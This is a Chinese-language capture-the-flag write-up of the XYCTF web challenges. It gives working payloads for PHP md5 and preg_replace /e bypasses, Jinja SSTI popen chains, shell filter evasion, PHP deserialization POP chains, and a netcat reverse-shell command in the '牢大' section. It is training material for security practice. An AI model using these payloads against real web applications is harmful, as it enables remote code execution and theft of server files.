WEB
ezhttp
源代码发现:为了防止忘记密码,我把它们放在某个地方了
信息泄露:robots.txt
发现 Disallow: /l0g1n.txt ==> 得到账号密码
不是 yuanshen.com 来的我不要 ==>Referer: yuanshen.com
你用的不是XYCTF的浏览器==> User-Agent: XYCTF
非本地用户禁止访问! ==>X-Forwarded-For: 127.0.0.1    X-Real-Ip: 127.0.0.1  (这两个都行不通)
最终: Client-Ip: 127.0.0.1
不是从 ymzx.qq.com 代理来的我不玩==>Via: ymzx.qq.com
有点饿,想吃点XYCTF的小饼干==>Cookies: XYCTF
———冒号后面加空格!!!*(尤其是hackbar)
OVER
Warm Up
| 1
 | $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']
 | 
| 1
 | isset($md5) && $md5 == md5($md5)
 | 
| 1
 | $XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")
 | 
payload:val1=240610708&val2=s878926199a&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
显示 LLeeevvveeelll222.php==> 打开
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {  echo "操作你O.o";  echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
POST_a用数组绕过+++++e模式
payload:?a=/a/e&b=system(‘cat /flag’)&c=/a/e————POST: a[]=1
OVER
ezMake(命令执行绕过+shell变量替换符读文件 )
利用shell变量替换符$(<file)读文件
直接echo $(<flag)
发现不行
试试echo $$(</flag)可行
ez?Make(读文件+文件名过滤)
通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)
[^b] 代表不是b的其他字符
| 1
 | cd .. &&cd .. &&cd .. &&more [^e][^b][^b][^b]
 | 
εZ?¿м@Kε¿?(报错读文件+makefile自动变量)
Makefile 自动变量
在Makefile中,@ 、 @、@、^、$<这种类型的变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
$@:目标
$^:所有目标依赖
$<:目标依赖列表中的第一个依赖
$?:所有目标依赖中被修改过的文件
这里第一个依赖是就是 /flag
(注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是
FLAG,卡了半天读不到/flag)
配合报错带出即可 参照前面ezMake
坑点:这里两个 $$ 才代表一个 $
payload:$$(<$<)
easymd5(文件比较)
将JPG文件甩在工具fastcoll上
生成2个文件
OVER
说英文的复读(机弱密码+SSTI的简单绕过(requests))
1.抓包爆破==>密码:asdqwe
2.fuzz=>发现SSTI
requests,args,.没有过滤
直接requests绕过关键词过滤|attr()绕过[]过滤
| 1
 | ?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
 | 
或者
| 12
 
 | ?sentence=【lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()【&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read?sentence=【】lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
 
 | 
| 1
 | ?sentence=【(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()【&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
 | 
zzl的护理小课堂(js代码审计)
var flagXhr = new XMLHttpRequest();
                        flagXhr.open(‘GET’, ‘flag.php’, true);
                        flagXhr.onreadystatechange = function() {
                            if (flagXhr.readyState === 4 && flagXhr.status === 200) {
                                var flag = flagXhr.responseText;
                                document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
                            }
                        };
                        flagXhr.send(); // 发送请求获取 flag
控制台:
var flagXhr = new XMLHttpRequest();
                        flagXhr.open(‘GET’, ‘flag.php’, true);
                        flagXhr.onreadystatechange = function() {
                            if (flagXhr.readyState === 4 && flagXhr.status === 200) {
                                var flag = flagXhr.responseText;
                                document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
                            }
                        };
                        flagXhr.send();
OVER
牢大
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <?php  highlight_file(__FILE__);
 function Kobe($cmd)
 {
 if (strlen($cmd) > 13) {
 die("see you again~");
 }
 if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
 die("肘死你");
 }
 foreach ($_GET as $val_name => $val_val) {
 if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
 return "what can i say";
 }
 (过滤了含"bin"、"mv"、"cp"、"ls"、"|"、"f"、"a"、"l"、"?"、"*"、">"的字符串,不区分大小写。)
 }
 return $cmd;
 }
 
 $cmd = Kobe($_GET['cmd']);
 echo "#man," . $cmd  . ",manba out";
 echo "<br>";
 eval("#man," . $cmd . ",mamba out");
 
 | 
way 1)有长度限制,好说strlen($cmd) > 13
考虑 反引号执行系统命令(只有两个字符) 等价于shell_exec(); 这个命令是没有回显的
 做个转接头 逃逸 命令长度限制
$_GET[1];
在php中是单行注释符 用 %0a换行即可绕过(到下一行了)
cmd=%0a$_GET[1];%23    (%23—-#)
没有回显   考虑反弹shell—nc
?cmd=%0a$_GET[1];%23&1=nc ip +端口-e /bi’’n/sh
way2)直接cp外带到网站根目录进行读取,被过滤的字符就用正则匹配绕过
| 1
 | ?cmd=%0A`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z][@-z] /v[@-z]r/www/htm[@-z]
 | 
这里#必须写成%23
ezRCE
payload:八进制绕过
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <?php highlight_file(__FILE__);
 function waf($cmd)
 {    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
 $cmd_char = str_split($cmd);
 foreach($cmd_char as $char){
 if (!in_array($char, $white_list)){
 die("really ez?");
 }
 }
 return $cmd;
 }
 $cmd=waf($_GET["cmd"]);
 system($cmd);
 
 | 
**?cmd=$%27\143\141\164%27<$%27\57\146\154\141\147%27**———%27-> ‘
https://fushuling.com/index.php/2023/03/04/%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E5%8F%98%E9%87%8F%E6%9E%84%E9%80%A0%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97%E5%91%BD%E4%BB%A4/
1.列举了白名单,数字可用,想到八进制(十六进制有字母)
2.不能纯八进制绕过,会被当做字符串,没有意义,要用**$’八进制’包裹
3.空格在linux系统里面用八进制是不可以的,可以替代空格,就是会转义但是不能执行(比如:会被转义成cat /flag,但是不执行)空格不能用八进制绕过**,正好题目给了<——————–如果不给< 肯定会给别的,就是找替代品
4.于是被分成两部分,用<连接
ezClass
| 12
 3
 4
 5
 6
 7
 8
 
 | <?php  highlight_file(__FILE__);
 $a=$_GET['a'];
 $aa=$_GET['aa'];
 $b=$_GET['b'];
 $bb=$_GET['bb'];
 $c=$_GET['c'];
 ((new $a($aa))->$c())((new $b($bb))->$c());
 
 | 
结构 new 一个类(参数)->执行方法
 利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性
?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage
ezSerialize
构造POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | <?php
 class Flag {
 
 public $token;
 
 public $password;
 
 public function __construct(){
 
     $this->token=&$this->password;
 
     $this->password =1;
 
 }
 
 }
 
 $a=new Flag;
 
 echo serialize($a);
 
 | 
题目将token的值弄成了md5(mt_rand()),我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。
知识点:
php按地址传参,我们只需要让token和passowrd指向同一块地址就可以了。
本地运行后得到O:4:”Flag”:2:{s:5:”token”;i:1;s:8:”password”;R:2;}
传参进入下一步,得到fpclosefpclosefpcloseffflllaaaggg.php
得到
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 
 | <?php
 highlight_file(__FILE__);
 
 class A {
 
 public $mack;
 
 public function __invoke()
 
 {
 
 $this->mack->nonExistentMethod();
 
 }
 
 }
 
 class B {
 
 public $luo;
 
 public function __get($key){
 
 echo "o.O<br>";
 
 $function = $this->luo;
 
 return $function();
 
 }
 
 }
 
 class C {
 
 public $wang1;
 
 public function __call($wang1,$wang2)
 
 {
 
 include 'flag.php';
 
 echo $flag2;
 
 }
 
 }
 
 class D {
 
 public $lao;
 
 public $chen;
 
 public function __toString(){
 
 echo "O.o<br>";
 
 return is_null($this->lao->chen) ? "" : $this->lao->chen;
 
 }
 
 }
 
 class E {
 
 public $name = "xxxxx";
 
 public $num;
 
 public function __unserialize($data)
 
 {
 
 echo "<br>学到就是赚到!<br>";
 
 echo $data['num'];
 
 }
 
 public function __wakeup(){
 
 if($this->name!='' || $this->num!=''){
 
 echo "旅行者别忘记旅行的意义!<br>";
 
 }
 
 }
 
 }
 
 if (isset($_POST['pop'])) {
 
 unserialize($_POST['pop']);
 
 }
 
 | 
构造poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 
 | <?php
 class A {
 
 public $mack;
 
 }
 
 class B {
 
 public $luo;
 
 }
 
 class C {
 
 public $wang1;
 
 }
 
 class D {
 
 public $lao;
 
     public $chen;
 
 }
 
 class E {
 
 public $name="xxxxx";
 
 public $num;
 
 }
 
 $a=new E();
 
 $a->name=new D();
 
 $a->name->lao=new B();
 
 $a->name->lao->luo=new A();
 
 $a->name->lao->luo->mack=new C();
 
 echo serialize($a);
 
 | 
post得到
saber_master_saber_master.php  访问
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 
 | <?phperror_reporting(0);
 highlight_file(__FILE__);
 
 class XYCTFNO1
 {
 public $Liu;
 public $T1ng;
 private $upsw1ng;
 public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
 {
     $this->Liu = $Liu;
     $this->T1ng = $T1ng;
     $this->upsw1ng = $upsw1ng;
 }
 }
 
 class XYCTFNO2
 {
 public $crypto0;
 public $adwa;
 public function __construct($crypto0, $adwa)
 {
     $this->crypto0 = $crypto0;
 }
 public function XYCTF()
 {
     if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
       return False;
     } else {
       return True;
     }
 }
 }
 
 class XYCTFNO3
 {
 public $KickyMu;
 public $fpclose;
 public $N1ght = "Crypto0";
 public function __construct($KickyMu, $fpclose)
 {
     $this->KickyMu = $KickyMu;
     $this->fpclose = $fpclose;
 }
 public function XY()
 {
     if ($this->N1ght == 'oSthing') {
       echo "WOW, You web is really good!!!\n";
       echo new $_POST['X']($_POST['Y']);
     }
 }
 
 public function __wakeup()
 
 {
 
     if ($this->KickyMu->XYCTF()) {
 
       $this->XY();
 
     }
 
 }
 
 }
 
 if (isset($_GET['CTF'])) {
 
 unserialize($_GET['CTF']);
 
 }
 
 | 
构造poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | <?phpclass XYCTFNO1
 {
 public $Liu;
 public $T1ng;
 private $upsw1ng;
 }
 class XYCTFNO2{
 public $crypto0;
 public $adwa;
 }
 class XYCTFNO3{
 public $KickyMu;
 public $fpclose;
 public $N1ght = 'Crypto0';
 }
 $a=new XYCTFNO3();
 
 $a->N1ght='oSthing';
 
 $a->KickyMu=new XYCTFNO2();
 
 $a->KickyMu->adwa=new XYCTFNO1();
 
 $a->KickyMu->adwa->T1ng='yuroandCMD258';
 
 $a->KickyMu->adwa->crypto0='dev1l';
 
 echo serialize($a);
 
 | 
最终命令执行触发点
| 12
 
 |  echo new $_POST['X']($_POST['Y']);
 
 | 
php原生类读文件 SplFileObject(默认读一行)
 所以要结合php伪协议读文件全部内容
 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
base64解码得flag
ezPop